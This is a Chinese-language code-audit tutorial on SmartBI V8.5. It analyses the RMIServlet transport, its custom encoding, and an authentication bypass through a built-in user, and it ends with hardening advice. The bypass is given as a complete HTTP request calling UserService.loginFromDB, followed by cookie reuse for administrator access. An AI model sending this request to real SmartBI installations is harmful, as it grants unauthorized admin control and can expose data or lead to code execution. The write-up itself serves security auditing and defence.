Smartbi v8.5代码审计
字数 1442 2025-08-23 18:31:24
SmartBI V8.5 代码审计与漏洞分析教学文档
1. SmartBI 简介
SmartBI 是广州思迈特软件有限公司旗下的商业智能 BI 和数据分析品牌,是一款企业级大数据分析软件,主要功能包括:
- 数据可视化
- 探索性分析
- 自助式仪表盘
- 一站式 ABI 平台
- 智慧数据运营平台
- 电子表格软件
2. 环境与版本信息
- 版本:SmartBI V8.5
- JDK 版本:JDK 8
- 传参方式:
- 直接传输
- RMIServlet加密传输
3. RMIServlet 加密传输分析
3.1 加密请求示例
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 69
encode=zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu71'f11fuu/u7uu/NOuu/NO1m/uu/JT
3.2 解密流程
解密流程位于 TraceFilter 的 doFilter 方法中:
路径:Smartbi\Tomcat\bin\exts-smartbi\smartbiExtension4478727347500549277.tmp\META-INF\classes\smartbix\smartbi\filter\SmartbiXTraceFilter.class
关键代码:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 解密处理逻辑
// ...
this.parseRequestInfo(httpRequest, requestLog);
// ...
}
解密过程:
- 根据映射表进行解密
- 解密后的字符串根据
空格/+拆分为三个参数:- className
- methodName
- params
3.3 解密方法
public static byte[] decode(String data) {
char[] ibuf = new char[4];
int ibufcount = 0;
byte[] obuf = new byte[data.length() / 4 * 3 + 3];
int obufcount = 0;
for(int i = 0; i < data.length(); ++i) {
char ch = data.charAt(i);
if (ch < S_DECODETABLE.length && S_DECODETABLE[ch] != 127) {
ibuf[ibufcount++] = ch;
if (ibufcount == ibuf.length) {
ibufcount = 0;
obufcount += decode0(ibuf, obuf, obufcount);
}
}
}
if (obufcount == obuf.length) {
return obuf;
} else {
byte[] ret = new byte[obufcount];
System.arraycopy(obuf, 0, ret, 0, obufcount);
return ret;
}
}
4. 直接传输方式
4.1 请求示例
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
className=UserService&methodName=login¶ms=["admin","admin"]
4.2 参数说明
className: 要调用的服务类名methodName: 要调用的方法名params: 方法参数,JSON格式
5. 漏洞分析:内置用户登录绕过
5.1 漏洞描述
SmartBI 安装时会产生内置用户,通过特定接口可以绕过用户身份认证机制,获取身份凭证,进而调用后台接口,可能导致:
- 敏感信息泄露
- 代码执行
5.2 漏洞复现
请求示例:
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
className=UserService&methodName=loginFromDB¶ms=["service","0a"]
响应返回 true 后,可直接利用 set-cookie 登录后台获取管理员权限。
5.3 漏洞原理分析
5.3.1 认证检查机制
路径:Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FreeQuery.jar!\smartbi\freequery\filter\CheckIsLoggedFilter.class
关键方法 needToCheck 检查传入的类名和方法名,判断是否需要登录:
private boolean needToCheck(String className, String methodName) {
if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) {
if (className.equals("UserService") && StringUtil.isInArray(methodName,
new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout",
"isLogged", "isLoginAs", "checkVersion", "hasLicense"})) {
return false;
}
// 其他不需要检查的方法...
else {
return !className.equals("FingerTipsDataModule");
}
} else {
return false;
}
}
5.3.2 方法调用流程
路径:Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FrameworkRMI.jar!\smartbi\framework\rmi\RMIServlet.class
关键方法 processExecute:
public String processExecute(HttpServletRequest request, String className, String methodName, String params) {
ClientService service = RMIModule.getInstance().getService(className);
String resultStr = null;
try {
// 反射调用对应方法
// ...
} catch (Exception e) {
// 异常处理
}
return resultStr;
}
6. 安全建议
-
认证加固:
- 修改
needToCheck方法,严格限制不需要认证的方法 - 对
loginFromDB等方法增加额外验证
- 修改
-
加密机制:
- 加强 RMIServlet 的加密强度
- 使用标准的加密算法替代自定义加密
-
输入验证:
- 对所有传入参数进行严格验证
- 限制反射调用的范围
-
权限控制:
- 实现最小权限原则
- 对敏感操作增加二次认证
-
日志监控:
- 记录所有 RMIServlet 调用
- 监控异常登录行为
7. 总结
本教学文档详细分析了 SmartBI V8.5 的:
- 通信机制(加密传输和直接传输)
- 认证检查流程
- 方法调用机制
- 内置用户登录绕过漏洞
通过理解这些机制,安全人员可以更好地进行代码审计和漏洞挖掘,同时也为开发人员提供了加固系统的方向。